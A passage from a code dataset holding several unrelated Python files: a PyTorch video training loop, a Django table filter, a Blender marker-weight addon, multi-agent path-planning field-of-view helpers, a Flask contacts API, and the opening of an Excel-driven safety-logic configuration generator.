args.teacher_student else model(video)\n        else:\n            sp_mask = sp_mask.to(device)\n            orig = orig.to(device)\n            max_sp_num = len(torch.unique(sp_mask))\n            output, loss, diagnostics = model(orig, \n                                              sp_mask, \n                                              max_sp_num, \n                                              orig_unnorm=orig_unnorm) \n\n        loss = loss.mean()\n\n        # if vis is not None and np.random.random() < 0.01:\n        if vis is not None:\n            vis.log(dict(loss=loss.mean().item()))\n            vis.log({k: v.mean().item() for k, v in diagnostics.items()})\n\n        # NOTE Stochastic checkpointing has been retained\n        if checkpoint_fn is not None and np.random.random() < 0.005:\n            checkpoint_fn()\n\n        optimizer.zero_grad()\n        loss.backward()\n        optimizer.step()\n\n        metric_logger.update(loss=loss.item(), lr=optimizer.param_groups[0][\"lr\"])\n        metric_logger.meters['clips/s'].update(video.shape[0] / (time.time() - start_time))\n        lr_scheduler.step()\n\n        # Change Compactness During The Epoch\n        # if step > len(data_loader)//2 and epoch < 15:\n        #     compactness = data_loader.dataset.get_compactness()\n        #     data_loader.dataset.set_compactness(compactness - 10)\n\n    checkpoint_fn()\n\n    # # Change Compactness Each Epoch\n    # dict_compact = {0:120, 1:90, 2:70, 3:50, 4:35, 5:25}\n    # compactness = dict_compact.get(epoch, 20)\n    # data_loader.dataset.set_compactness(compactness)\n\n    # if epoch < 10:\n    #     compactness = data_loader.dataset.get_compactness()\n    #     data_loader.dataset.set_compactness(compactness - 10)\n    # elif epoch < 15 and epoch >= 10:\n    #     compactness = data_loader.dataset.get_compactness()\n    #     data_loader.dataset.set_compactness(compactness - 5)\n    # else:\n    #     compactness = data_loader.dataset.get_compactness()\n    #     data_loader.dataset.set_compactness(compactness - 2)\n\n####################################################################################################\n# Minor functions\n# - _get_cache_path : get cache path for automatic caching of train dataset\n# - collate_fn      : custom collate function for dataloader; removes audio from data samples\n####################################################################################################\n\n\ndef _get_cache_path(filepath):\n    import hashlib\n    h = hashlib.sha1(filepath.encode()).hexdigest()\n    cache_path = os.path.join(\"~\", \".torch\", \"vision\", \"datasets\", \"kinetics\", h[:10] + \".pt\")\n    cache_path = os.path.expanduser(cache_path)\n    return cache_path\n\n\ndef collate_fn(batch):\n    # remove audio and labels from the batch\n    batch = [(d[0], d[1]) for d in batch]\n    return default_collate(batch)\n\n####################################################################################################\n# Main\n####################################################################################################\n\ndef main(args):\n\n    # Eager Checks\n    if args.teacher_student:\n        assert args.prob == 1, \"Teacher-Student training is not yet compatible with probabistic sp | patch sampling\"\n\n    print(\"Arguments\", end=\"\\n\" + \"-\"*100 + \"\\n\")\n    for arg, value in vars(args).items():\n        print(f\"{arg} = {value}\")\n    print(\"-\"*100)\n    print(\"torch version: \", torch.__version__)\n    print(\"torchvision version: \", torchvision.__version__)\n\n    device = torch.device(args.device)\n    torch.backends.cudnn.benchmark = True\n\n    print(\"Preparing training dataloader\", end=\"\\n\"+\"-\"*100+\"\\n\")\n    traindir = os.path.join(args.data_path, 'train_256' if not args.fast_test else 'val_256')\n    valdir = os.path.join(args.data_path, 'val_256')\n\n    st = time.time()\n    cache_path = args.cache_path\n\n    transform_train = utils.augs.get_train_transforms(args)\n\n    # Dataset\n    def make_dataset(is_train, cached=None):\n        _transform = transform_train if is_train else transform_test\n\n        if 'kinetics' in args.data_path.lower():\n            return Kinetics400(\n                traindir if is_train else valdir,\n                frames_per_clip=args.clip_len,\n                step_between_clips=1,\n                transform=transform_train,\n                extensions=('mp4'),\n                frame_rate=args.frame_skip,\n                # cached=cached,\n                _precomputed_metadata=cached,\n                sp_method=args.sp_method,\n                num_components=args.num_sp,\n                prob=args.prob,\n                randomise_superpixels=args.randomise_superpixels,\n                randomise_superpixels_range=args.randomise_superpixels_range\n            )\n        # HACK assume image dataset if data path is a directory\n        elif os.path.isdir(args.data_path):\n            return torchvision.datasets.ImageFolder(root=args.data_path, transform=_transform)\n        else:\n            return VideoList(\n                filelist=args.data_path,\n                clip_len=args.clip_len,\n                is_train=is_train,\n                frame_gap=args.frame_skip,\n                transform=_transform,\n                random_clip=True,\n            )\n\n    if args.cache_dataset and os.path.exists(cache_path):\n        print(f\"Loading dataset_train from {cache_path}\", end=\"\\n\"+\"-\"*100+\"\\n\")\n        dataset, _ = torch.load(cache_path)\n        cached = dict(video_paths=dataset.video_clips.video_paths,\n                      video_fps=dataset.video_clips.video_fps,\n                      video_pts=dataset.video_clips.video_pts)\n        dataset = make_dataset(is_train=True, cached=cached)\n        dataset.transform = transform_train\n    else:\n        dataset = make_dataset(is_train=True)\n        if 'kinetics' in args.data_path.lower():  # args.cache_dataset and\n            print(f\"Saving dataset_train to {cache_path}\", end=\"\\n\"+\"-\"*100+\"\\n\")\n            utils.mkdir(os.path.dirname(cache_path))\n            dataset.transform = None\n            torch.save((dataset, traindir), cache_path)\n            dataset.transform = transform_train\n\n    if hasattr(dataset, 'video_clips'):\n        dataset.video_clips.compute_clips(args.clip_len, 1, frame_rate=args.frame_skip)\n\n    print(\"Took\", time.time() - st)\n\n    # Data Loader\n    def make_data_sampler(is_train, dataset):\n        torch.manual_seed(0)\n        if hasattr(dataset, 'video_clips'):\n            _sampler = RandomClipSampler  # UniformClipSampler\n            return _sampler(dataset.video_clips, args.clips_per_video)\n        else:\n            return torch.utils.data.sampler.RandomSampler(dataset) if is_train else None\n\n    print(\"Creating data loaders\", end=\"\\n\"+\"-\"*100+\"\\n\")\n    train_sampler = make_data_sampler(True, dataset)\n\n    data_loader = torch.utils.data.DataLoader(dataset, \n                                              batch_size=args.batch_size, \n                                              sampler=train_sampler, \n                                              num_workers=args.workers//2,\n                                              pin_memory=True, \n                                              collate_fn=collate_fn, \n                                              #   shuffle=not args.fast_test,\n                                              )\n\n    print(\"Set Compactness at:\", args.compactness)\n    data_loader.dataset.set_compactness(args.compactness)\n\n    # Visualisation\n    vis = utils.visualize.Visualize(args) if args.visualize else None\n\n    # Model\n    print(\"Creating model\", end=\"\\n\"+\"-\"*100+\"\\n\")\n    if not args.teacher_student:\n        model = CRW(args, vis=vis).to(device)\n    else:\n        model = CRWTeacherStudent(args, vis=None).to(device)  # NOTE Disabled vis during prototyping\n    # print(model)\n\n    # Optimizer\n    optimizer = torch.optim.Adam(model.parameters(), lr=args.lr)\n\n    # Learning rate schedule\n    lr_milestones = [len(data_loader) * m for m in args.lr_milestones]\n    lr_scheduler = torch.optim.lr_scheduler.MultiStepLR(optimizer, \n                                                        milestones=lr_milestones, \n                                                        gamma=args.lr_gamma)\n    \n    model_without_ddp = model\n\n    # Parallelise model over GPUs\n    if args.data_parallel:\n        model = torch.nn.parallel.DataParallel(model)\n        model_without_ddp = model.module\n\n    # Partially load weights from model checkpoint\n    if args.partial_reload:\n        checkpoint = torch.load(args.partial_reload, map_location='cpu')\n        utils.partial_load(checkpoint['model'], model_without_ddp)\n        optimizer.param_groups[0][\"lr\"] = args.lr\n        # args.start_epoch = checkpoint['epoch'] + 1\n\n    # Resume from checkpoint\n    if args.resume:\n        checkpoint = torch.load(args.resume, map_location='cpu')\n        model_without_ddp.load_state_dict(checkpoint['model'])\n        optimizer.load_state_dict(checkpoint['optimizer'])\n        lr_scheduler.load_state_dict(checkpoint['lr_scheduler'])\n        args.start_epoch = checkpoint['epoch'] + 1\n\n    def save_model_checkpoint():\n        if args.output_dir:\n            checkpoint = {\n                'model': model_without_ddp.state_dict(),\n                'optimizer': optimizer.state_dict(),\n                'lr_scheduler': lr_scheduler.state_dict(),\n                'epoch': epoch,\n                'args': args\n                }\n            torch.save(checkpoint, os.path.join(args.output_dir, f'model_{epoch}.pth'))\n            torch.save(checkpoint, os.path.join(args.output_dir, 'checkpoint.pth'))\n\n    # Start Training\n    print(\"Start training\", end=\"\\n\"+\"-\"*100+\"\\n\")\n    start_time = time.time()\n    for epoch in range(args.start_epoch, args.epochs):\n        train_one_epoch(model, optimizer, lr_scheduler, data_loader,\n                        device, epoch, args.print_freq,\n                        vis=vis, checkpoint_fn=save_model_checkpoint,\n                        prob=args.prob)\n\n    total_time = time.time() - start_time\n    total_time_str = str(datetime.timedelta(seconds=int(total_time)))\n    print(f'Training time {total_time_str}')\n\n####################################################################################################\n# Run as Script\n####################################################################################################\n\nif __name__ == \"__main__\":\n    args = utils.arguments.train_args()\n    main(args)\n","repo_name":"paolomandica/sapienza-video-contrastive","sub_path":"code/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":12153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"2563745301","text":"import time\nfrom django.utils import timezone\nfrom django.db.models import Count\n\n\ndef get_order_by(request, model_obj, admin_form):\n    \"\"\"\n\n    :param request:\n    :param model_obj:  asset_obj_list\n    :param admin_form:  admin.AssetAdmin\n    :return:\n    \"\"\"\n    order_by_field = request.GET.get('orderby')\n    if order_by_field:\n        order_by_field = order_by_field.strip()\n        order_by_column_index = admin_form.list_display.index(order_by_field.strip('-'))\n        obj = model_obj.order_by(order_by_field)\n        if order_by_field.startswith('-'):\n            order_by_field = order_by_field.strip('-')\n        else:\n            order_by_field = '-%s' % order_by_field\n\n        return [obj, order_by_field, order_by_column_index]\n    else:\n        return [model_obj, order_by_field, None]\n\n\nclass TableHandler(object):\n    def __init__(self, request, model_class, admin_class, query_sets, order_res):\n        \"\"\"\n\n        :param request:\n        :param model_class:  models.Asset\n        :param admin_class:  admin.AssetAdmin\n        :param query_sets:  asset_obj\n        :param order_res:\n        \"\"\"\n        self.request = request\n        self.model_class = model_class\n        self.query_sets = query_sets\n        self.choice_fields = admin_class.choice_fields\n        self.fk_fields = admin_class.fk_fields\n\n        self.list_display = admin_class.list_display\n        self.list_filter = self.get_list_filter(admin_class.list_filter)\n\n        # for order by\n        self.orderby_field = order_res[1]\n        self.orderby_col_index = order_res[2]\n\n        # for dynamic display\n        self.dynamic_fk = getattr(admin_class, 'dynamic_fk') if \\\n            hasattr(admin_class, 'dynamic_fk') else None\n        self.dynamic_list_display = getattr(admin_class, 'dynamic_list_display') if \\\n            hasattr(admin_class, 'dynamic_list_display') else ()\n        self.dynamic_choice_fields = getattr(admin_class, 'dynamic_choice_fields') if \\\n            hasattr(admin_class, 'dynamic_choice_fields') else ()\n\n        # for m2m fields\n        self.m2m_fields = getattr(admin_class, 'm2m_fields') if \\\n            hasattr(admin_class, 'm2m_fields') else ()\n\n    def get_list_filter(self, list_filter):\n        filters = []\n        for i in list_filter:\n            col_obj = self.model_class._meta.get_field(i)\n            data = {\n                'verbose_name': col_obj.verbose_name,\n                'column_name': i,\n            }\n            if col_obj.get_internal_type() not in ('DateField', 'DateTimeField'):\n                try:\n                    choices = col_obj.get_choices()\n\n                except AttributeError as e:\n                    choices_list = col_obj.model.objects.values(i).annotate(count=Count(i))\n                    choices = [[obj[i], obj[i]] for obj in choices_list]\n                    choices.insert(0, ['', '----------'])\n            else:  # 特殊处理datefield\n                today_obj = timezone.datetime.now()\n                choices = [\n                    ('', '---------'),\n                    (today_obj.strftime(\"%Y-%m-%d\"), '今天'),\n                    ((today_obj - timezone.timedelta(days=7)).strftime(\"%Y-%m-%d\"), '过去7天'),\n                    ((today_obj - timezone.timedelta(days=today_obj.day)).strftime(\"%Y-%m-%d\"), '本月'),\n                    ((today_obj - timezone.timedelta(days=90)).strftime(\"%Y-%m-%d\"), '过去3个月'),\n                    ((today_obj - timezone.timedelta(days=180)).strftime(\"%Y-%m-%d\"), '过去6个月'),\n                    ((today_obj - timezone.timedelta(days=365)).strftime(\"%Y-%m-%d\"), '过去1年'),\n                    ((today_obj - timezone.timedelta(seconds=time.time())).strftime(\"%Y-%m-%d\"), 'ALL'),\n\n                ]\n            data['choices'] = choices\n            # print(choices)\n            # handle selected data\n            if self.request.GET.get(i):\n                data['selected'] = self.request.GET.get(i)\n            filters.append(data)\n        # print(filters)\n\n        return filters\n\n\ndef table_filter(request, model_admin, models_class):\n    \"\"\"\n    根据客户端发来的请求，构造字典，查找数据，并返回\n    :param request:\n    :param model_admin:  admin.AssetAdmin\n    :param models_class:  models.Asset\n    :return:\n    \"\"\"\n    # print(model_admin.list_filter)\n    filter_conditions = {}\n    for condition in model_admin.list_filter:\n        if request.GET.get(condition):\n            filed_type_name = models_class._meta.get_field(condition).__repr__()\n\n            if 'ForeignKey' in filed_type_name:\n                filter_conditions['%s_id' % condition] = request.GET.get(condition)\n            elif 'DateField' in filed_type_name or 'DateTimeField' in filed_type_name:\n                filter_conditions['%s__gt' % condition] = request.GET.get(condition)\n            else:\n                filter_conditions[condition] = request.GET.get(condition)\n\n    # print(\"filter conditons\", filter_conditions)\n    return models_class.objects.filter(**filter_conditions)\n","repo_name":"a-mac-user/Ragtime","sub_path":"asset/table.py","file_name":"table.py","file_ext":"py","file_size_in_byte":5019,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"}
{"seq_id":"13964344425","text":"# ##### BEGIN GPL LICENSE BLOCK #####\n#\n#  This program is free software; you can redistribute it and/or\n#  modify it under the terms of the GNU General Public License\n#  as published by the Free Software Foundation; either version 2\n#  of the License, or (at your option) any later version.\n#\n#  This program is distributed in the hope that it will be useful,\n#  but WITHOUT ANY WARRANTY; without even the implied warranty of\n#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n#  GNU General Public License for more details.\n#\n#  You should have received a copy of the GNU General Public License\n#  along with this program; if not, write to the Free Software Foundation,\n#  Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n#\n# ##### END GPL LICENSE BLOCK #####\n\nbl_info = {\n    \"name\": \"Fade Marker Weight\",\n    \"author\": \"Sebastian Koenig\",\n    \"version\": (0,1),\n    \"blender\": (2, 79, 0),\n    \"location\": \"Clip Editor\",\n    \"description\": \"Fade in the weight of tracking markers to smooth out the camera path\", \n    \"warning\": \"\",\n    \"wiki_url\": \"\",\n    \"category\": \"Tracking\"\n    }\n\nimport bpy\nfrom bpy.types import Operator, Panel\n\ndef get_marker_list(scene, tracks):\n    '''\n    Everytime the operator is executed, generate a dictionary with all tracks and\n    their markers, if they are not too short and/or are selected\n    '''\n    marker_dict = {}\n\n    for t in tracks:\n        # only operate on selected tracks that are not hidden\n        if t.select and not t.hide:\n            # generate a list of all tracked frames\n            list = []\n            for i in range(scene.frame_start, scene.frame_end):\n                # first clear the weight of the tracks\n                t.keyframe_delete(data_path=\"weight\", frame=i)\n                if t.markers.find_frame(i):\n                    list.append(i)\n            # if the list is longer than 20, add the list and the track to a dict\n            # (a shorter list wouldn't make much sense)\n            if len(list) > 20:\n                marker_dict[t] = list\n    return marker_dict \n\n\ndef select_zero_weighted_tracks(scene, tracks):\n    current_frame = scene.frame_current\n    for t in tracks:\n        t.select = True\n    for f in range(scene.frame_start, scene.frame_end):\n        scene.frame_set(f)\n        for t in tracks:\n            if t.weight>0:\n                t.select = False\n    scene.frame_current = current_frame\n\n\ndef insert_keyframe(scene, fade_time, marker_dict):\n    for track, list in marker_dict.items():\n        # define keyframe_values\n        frame1 = list[0]\n        frame2 = list[0] + fade_time\n        frame3 = list[-2] - fade_time\n        frame4 = list[-2]\n        # only key track start if it is not the start of the clip\n        if frame1 - scene.frame_start > fade_time:\n            track.weight = 0\n            track.keyframe_insert(data_path=\"weight\", frame=frame1)\n            track.weight = 1\n            track.keyframe_insert(data_path=\"weight\", frame=frame2)\n        # now set keyframe for weight 0 at the end of the track\n        # but only if it doesnt go until the end of the shot\n        if scene.frame_end - frame4+1 > fade_time:\n            track.keyframe_insert(data_path=\"weight\", frame=frame3)\n            track.weight = 0\n            track.keyframe_insert(data_path=\"weight\", frame=frame4)\n\n\n\n##############################\n# CLASSES\n##############################\n\n\nclass CLIP_OT_SelectZeroWeightedTracks(Operator):\n    '''Select all tracks that have a marker weight of zero through the entire shot'''\n    bl_idname = \"clip.select_zero_weighted_tracks\"\n    bl_label = \"Select Zero Weighted Tracks\"\n\n    @classmethod\n    def poll(cls, context):\n        space = context.space_data\n        return (space.type == 'CLIP_EDITOR')\n\n    def execute(self, context):\n        scene = context.scene\n        tracks = context.space_data.clip.tracking.tracks\n        select_zero_weighted_tracks(scene, tracks)\n        return {'FINISHED'}\n\n\nclass CLIP_OT_WeightFade(Operator):\n    '''Fade in the weight of selected markers'''\n    bl_idname = \"clip.weight_fade\"\n    bl_label = \"Fade Marker Weight\"\n    bl_options = {'REGISTER', 'UNDO'}\n\n    fade_time = bpy.props.IntProperty(name=\"Fade Time\",\n            default=10, min=0, max=100)\n\n    @classmethod\n    def poll(cls, context):\n        space = context.space_data\n        return (space.type == 'CLIP_EDITOR')\n\n    def execute(self, context):\n        scene = context.scene\n        tracks = context.space_data.clip.tracking.tracks\n        insert_keyframe(scene, self.fade_time, get_marker_list(scene, tracks))\n        return {'FINISHED'}\n\n\nclass CLIP_PT_WeightFadePanel(Panel):\n    bl_idname = \"clip.weight_fade_panel\"\n    bl_label = \"Weight Fade\"\n    bl_space_type = \"CLIP_EDITOR\"\n    bl_region_type = \"TOOLS\"\n    bl_category = \"Track\"\n\n    def draw(self, context):\n        layout = self.layout\n        col = layout.column()\n        col.operator(\"clip.weight_fade\")\n\n\n\n###################\n# REGISTER\n###################\n\nclasses = (\n    CLIP_OT_WeightFade,\n    CLIP_OT_SelectZeroWeightedTracks,\n    CLIP_PT_WeightFadePanel\n    )\n\ndef register():\n    for c in classes:\n        bpy.utils.register_class(c)\n\n    wm = bpy.context.window_manager\n    km = wm.keyconfigs.addon.keymaps.new(name='Clip Editor', space_type='CLIP_EDITOR')\n    kmi = km.keymap_items.new('clip.weight_fade', 'W', 'PRESS', alt=True)\n\ndef unregister():\n    for c in classes:\n        bpy.utils.unregister_class(c)\n\nif __name__ == \"__main__\":\n    register()\n","repo_name":"blendfx/blender","sub_path":"marker_weight.py","file_name":"marker_weight.py","file_ext":"py","file_size_in_byte":5495,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"19"}
{"seq_id":"36317464487","text":"import numpy as np\n\n\ndef add_padding_to_gridmap(gridmap, radius):\n    \"\"\"add a border of blocks around the map of given radius.\n    (The new size will be old size + 2 * radius in both directions)\"\"\"\n    size = gridmap.shape\n    padded_gridmap = np.ones([\n        size[0] + 2 * radius,\n        size[1] + 2 * radius],\n        dtype=np.int8)\n    padded_gridmap[\n        radius:size[0]+radius,\n        radius:size[1]+radius] = gridmap\n    return padded_gridmap\n\n\ndef init_empty_fov(radius, t):\n    return np.zeros([\n        1 + 2 * radius,\n        1 + 2 * radius,\n        t\n    ])\n\n\ndef make_obstacle_fovs(padded_gridmap, path, t, radius):\n    \"\"\"create for all agents a set of FOVS of radius containing positions of\n    obstacles in gridmap.\"\"\"\n    obstacle_fovs = []\n    for i_t in range(t+1):\n        pos = path[i_t]\n        obstacle_fovs.append(\n            padded_gridmap[\n                int(pos[0]):int(pos[0]) + 1 + 2 * radius,\n                int(pos[1]):int(pos[1]) + 1 + 2 * radius\n            ]\n        )\n    obstacle_fovs_np = np.stack(obstacle_fovs, axis=2)\n    return obstacle_fovs_np\n\n\ndef make_all_agents_fovs(paths, agent, other_agent, radius):\n    \"\"\"create for the agent a set of FOVS of radius containing positions of\n    other agents.\"\"\"\n    t = paths[0].shape[0]\n    other_agent_fovs = init_empty_fov(radius, t)\n    for i_t in range(t):\n        pos = paths[agent][i_t]\n        for i_a in [i for i in range(len(paths)) if i != agent] + [other_agent, ]:\n            d = paths[i_a][i_t] - pos\n            if (abs(d[0]) <= radius and\n                    abs(d[1]) <= radius):\n                other_agent_fovs[\n                    int(d[0]) + radius,\n                    int(d[1]) + radius,\n                    i_t\n                ] = 1. if i_a == other_agent else .5\n    return other_agent_fovs\n\n\ndef make_path_fovs(paths, paths_until_col, agent, other_agent,\n                   t_until_col, radius):\n    \"\"\"create for the agent a set of layers indicating their single-agent\n    paths.\"\"\"\n    lengths = list(map(lambda x: x.shape[0], paths))\n    path_fovs = init_empty_fov(radius, t_until_col + 1)\n    paths_other_agent_fovs = init_empty_fov(radius, t_until_col + 1)\n    paths_other_agents_fovs = init_empty_fov(radius, t_until_col + 1)\n    for i_t_steps in range(t_until_col + 1):\n        for i_a in range(len(paths)):\n            if i_a == agent:\n                fov_to_write = path_fovs\n            elif i_a == other_agent:\n                fov_to_write = paths_other_agent_fovs\n            else:\n                fov_to_write = paths_other_agents_fovs\n            pos = paths_until_col[agent][i_t_steps]\n            for i_t_path in range(paths[i_a].shape[0]):\n                d = paths[i_a][i_t_path] - pos\n                if (abs(d[0]) <= radius and\n                        abs(d[1]) <= radius):\n                    fov_to_write[\n                        int(d[0]) + radius,\n                        int(d[1]) + radius,\n                        i_t_steps\n                    ] += (i_t_path+1) / lengths[i_a]\n    return path_fovs, paths_other_agent_fovs, paths_other_agents_fovs\n\n\ndef extract_all_fovs(t, paths_until_col, paths_full, padded_gridmap, i_a, i_oa, radius):\n    obstacle_fovs = make_obstacle_fovs(\n        padded_gridmap, paths_until_col[i_a], t, radius)\n    pos_other_agent_fovs = make_all_agents_fovs(\n        paths_until_col, i_a, i_oa, radius)\n    (path_fovs, paths_other_agent_fovs,\n     paths_other_agents_fovs) = make_path_fovs(\n        paths_full, paths_until_col, i_a, i_oa, t,\n        radius)\n    x = np.stack([obstacle_fovs, pos_other_agent_fovs,\n                  path_fovs, paths_other_agent_fovs,\n                  paths_other_agents_fovs], axis=3)\n    return x\n","repo_name":"ct2034/miriam","sub_path":"planner/policylearn/generate_fovs.py","file_name":"generate_fovs.py","file_ext":"py","file_size_in_byte":3702,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"19"}
{"seq_id":"43011365235","text":"from flask import Flask, request, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_marshmallow import Marshmallow\nfrom flask_cors import CORS\nimport os\n\napp = Flask(__name__)\nentorno = os.getenv('DATABASE_URL')\nent = entorno[:8] + 'ql' + entorno[8:] \napp.config['SQLALCHEMY_DATABASE_URI'] = ent\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS']=False\n\ndb = SQLAlchemy(app)\nma = Marshmallow(app)\n\nCORS(app)\n\nclass Contact(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    name = db.Column(db.String(30), nullable=False)\n    lastname = db.Column(db.String(30), nullable=False)\n    company = db.Column(db.String(50))\n    phone = db.Column(db.String(50), unique=True)\n    email = db.Column(db.String(30), nullable=False, unique=True)\n\n    def __int__(self, name, lastname, company, phone, email):\n        self.name = name\n        self.lastname = lastname\n        self.company = company\n        self.phone = phone\n        self.email = email\n\n\nclass ContactsSchema(ma.Schema):\n    class Meta:\n        fields = ('id', 'name', 'lastname', 'company', 'phone', 'email')\n\ncontact_schema = ContactsSchema()\ncontacts_schema = ContactsSchema(many=True)\n\ndb.create_all()\ndb.session.commit()\n\n@app.route('/contacts', methods=['POST'])\ndef create_contact():\n    name = request.json['name']\n    lastname = request.json['lastname']\n    company = request.json['company']\n    phone = request.json['phone']\n    email = request.json['email']\n\n    new_contact = Contact(name=name, lastname=lastname, company=company, phone=phone, email=email)\n    db.session.add(new_contact)\n    db.session.commit()\n\n    return contact_schema.jsonify(new_contact)\n\n@app.route('/contacts', methods=['GET'])\ndef get_contacts():\n    all_contacts = Contact.query.all()\n    result = contacts_schema.dump(all_contacts)\n    return jsonify(result)\n\n@app.route('/contacts/<id>', methods=['GET'])\ndef get_contact(id):\n    contact = Contact.query.get(id)\n    return contact_schema.jsonify(contact)\n\n@app.route('/contacts/<id>', methods=['PUT'])\ndef update_contact(id):\n    contact = Contact.query.get(id)\n\n    name = request.json['name']\n    lastname = request.json['lastname']\n    company = request.json['company']\n    phone = request.json['phone']\n    email = request.json['email']\n\n    if name == \"\" or lastname == \"\" or email == \"\":\n        return {\"statuscode\":400}\n\n    contact.name = name\n    contact.lastname = lastname\n    contact.company = company\n    contact.phone = phone\n    contact.email = email\n\n    db.session.commit()\n    return contact_schema.jsonify(contact)\n\n@app.route('/contacts/<id>', methods=['Delete'])\ndef delete_task(id):\n    contact = Contact.query.get(id)\n    db.session.delete(contact)\n    db.session.commit()\n\n    return contact_schema.jsonify(contact)\n\n@app.route('/', methods=['GET'])\ndef index():\n    return jsonify({'message': 'Carlos API'})\n\nif __name__ == \"__main__\":\n    app.run(debug=True)","repo_name":"carlosmarin96/contacts-flask-api","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"29691709352","text":"# -*- coding: cp1251 -*-\n\nimport config\nimport text\n\nimport time\nimport datetime as dt\nimport random\n\nfrom openpyxl import load_workbook \n\ndef main_logic(txt_path, txt_xls_path, b_lang, txt_bp_name, txt_bp_link, b_name, b_decpt, b_ext_byp, list_do_opts, b_frame, b_cbArea, b_cbSLS, txt_DomainName, b_cbNamur, txt_Overrange, txt_Underrange, b_cbLF, txt_TripHys, b_cbAIBadIfLimited):\n    out_file = file(txt_path, \"w\")\n\n    full_data = getXLSData(txt_xls_path)\n    mod_list = getModList(full_data)\n    vtr_list = getVTRList(full_data)\n    bp_ref_list = getBPRefList(full_data)\n    c_areas_list = getUniqueAreas(full_data)\n    c_sls_list = getSLSData(full_data)\n    c_uniq_sls = getUniqueSLS(full_data)\n\n    id = 1277825591\n    id_vtr = 1355346828\n\n    #===============================================================================\n    # create Areas \n    #===============================================================================\n    if b_cbArea:\n        for area in c_areas_list:\n            if area.upper() != text.defaultArea:\n                writePlantAreaInfo(out_file, area.upper())\n\n    #===============================================================================\n    # create SLS \n    #===============================================================================\n    if b_cbSLS:\n        c_domain = text.SISDomainName\n        \n        if len(checkValue(txt_DomainName)) > 0:\n            c_domain = txt_DomainName\n        \n        writeSISDomainInfo(out_file, c_domain)\n        \n        for sls in c_uniq_sls:\n            #write SLS Header\n            writeSLSHeader(out_file, sls.upper(), c_domain)\n            \n            #channels\n            for i in xrange(1, 17):\n                flag = False\n                \n                for sls_data in c_sls_list:\n                    c_sls = checkValue(sls_data[0])\n                    c_ch_dst = checkValue(sls_data[1])\n                    c_ch_type = checkValue(sls_data[2])\n                    c_ch = checkIntValue(sls_data[3])\n                    c_ch_desc = checkValue(sls_data[4])\n                                                                                \n                    writeSLSChannels(out_file, c_ch_dst, c_ch, c_ch_type, c_ch_desc, c_ch_enab)\n                    flag = True\n                \n                if not flag:                    \n                    if i < 10:\n                        c_ch = '0' + str(i)\n                    else:\n                        c_ch = str(i)\n                        \n                    c_ch_dst = sls.upper() + 'CH' + c_ch\n                    c_ch_type = text.defaultChType\n                    c_ch_desc = text.defaultChDesc\n                    c_ch_enab = False\n                    \n                    writeSLSChannels(out_file, c_ch_dst, i, c_ch_type, c_ch_desc, c_ch_enab)\n            \n            #footer\n            writeSLSFooter(out_file)\n    \n    #===============================================================================\n    # fill text    \n    #===============================================================================\n    for c_mod_name in mod_list:       \n        flag = False\n                \n        # positions\n        c_pos_aidi = 1\n        c_pos_do = 1\n        \n        # counters\n        c_i_ai = 1\n        c_i_di = 1\n        c_i_do = 1\n        c_i_avtr = 1\n        c_i_dvtr = 1\n        \n        # lists\n        con_list = []\n        dst_list = []\n        vtr_info_list = []\n        vtr_desc_list = []        \n        do_list = []\n        scale_list = []\n        byp_con_list = []\n        ai_list = []\n        \n        c_bp_ref_diff = 0\n        c_bp_ref_flag = False                    \n        c_bp_flag = False\n         \n        for c in full_data:\n            if c[7] == c_mod_name:\n                \n                c_SLS = checkValue(c[1])\n                c_DST = checkValue(c[2])\n                c_DSTType = checkValue(c[3])\n                c_DSTCh = checkIntValue(c[4])\n                c_DSTChDesc = checkValue(c[5])\n                \n                c_area = c[6]\n                c_desc = checkValue(c[8])\n                \n                c_fb_name = checkValue(c[9])\n                c_fb_type = checkValue(c[10])\n                c_eu0, c_eu0_flag = checkFloatValue(c[11])\n                c_eu100, c_eu100_flag = checkFloatValue(c[12])\n                c_units = checkValue(c[13])\n                c_decpt = checkIntValue(c[14])\n                \n                c_vtr_name = checkValue(c[15])\n                c_vtr_type = checkValue(c[16])\n                c_vtr_in = checkIntValue(c[17])                               \n                c_vtr_num2trip = checkIntValue(c[18])\n                c_vtr_det_type = checkValue(c[19])\n                \n                c_vtr_ptrip_lim, c_vtr_ptrip_flag = checkFloatValue(c[20])\n                c_vtr_trip_lim, c_vtr_trip_flag = checkFloatValue(c[21])\n                \n                # check FB AI/DI/DO name\n                if c_fb_name == '' and len(c_fb_type) > 0:\n                    if c_fb_type == text.XLSSheetFBTypeList[0]:\n                        c_fb_name = 'LSAI' + str(c_i_ai)\n                        c_i_ai += 1\n                    elif c_fb_type == text.XLSSheetFBTypeList[1]:\n                        c_fb_name = 'LSDI' + str(c_i_di)\n                        c_i_di += 1\n                    else:\n                        c_fb_name = 'LSDO' + str(c_i_do)\n                        c_i_do += 1\n\n                    if b_name and c_DST != '': \n                        c_fb_name = c_DST\n\n                # check bypass name                \n                c_byp_name = c_fb_name + '_BYP'\n                \n                # check FB VTR name\n                if c_vtr_name == '' and len(c_vtr_type) > 0:\n                    if c_vtr_type == text.XLSSheetVTRTypeList[0]:\n                        c_vtr_name = 'LSAVTR' + str(c_i_avtr)\n                        c_i_avtr += 1\n                    elif c_vtr_type == text.XLSSheetVTRTypeList[1]:\n                        c_vtr_name = 'LSDVTR' + str(c_i_dvtr)\n                        c_i_dvtr += 1\n                    \n                    if b_name and c_DST != '': \n                        c_vtr_name = c_DST\n\n                if c_vtr_type == text.XLSSheetVTRTypeList[0] and c_vtr_det_type == text.XLSSheetVTRDetTypeList[0]:\n                    c_vtr_name += '_HH'\n                elif c_vtr_type == text.XLSSheetVTRTypeList[0] and c_vtr_det_type == text.XLSSheetVTRDetTypeList[1]: \n                    c_vtr_name += '_LL'\n                elif c_vtr_type == 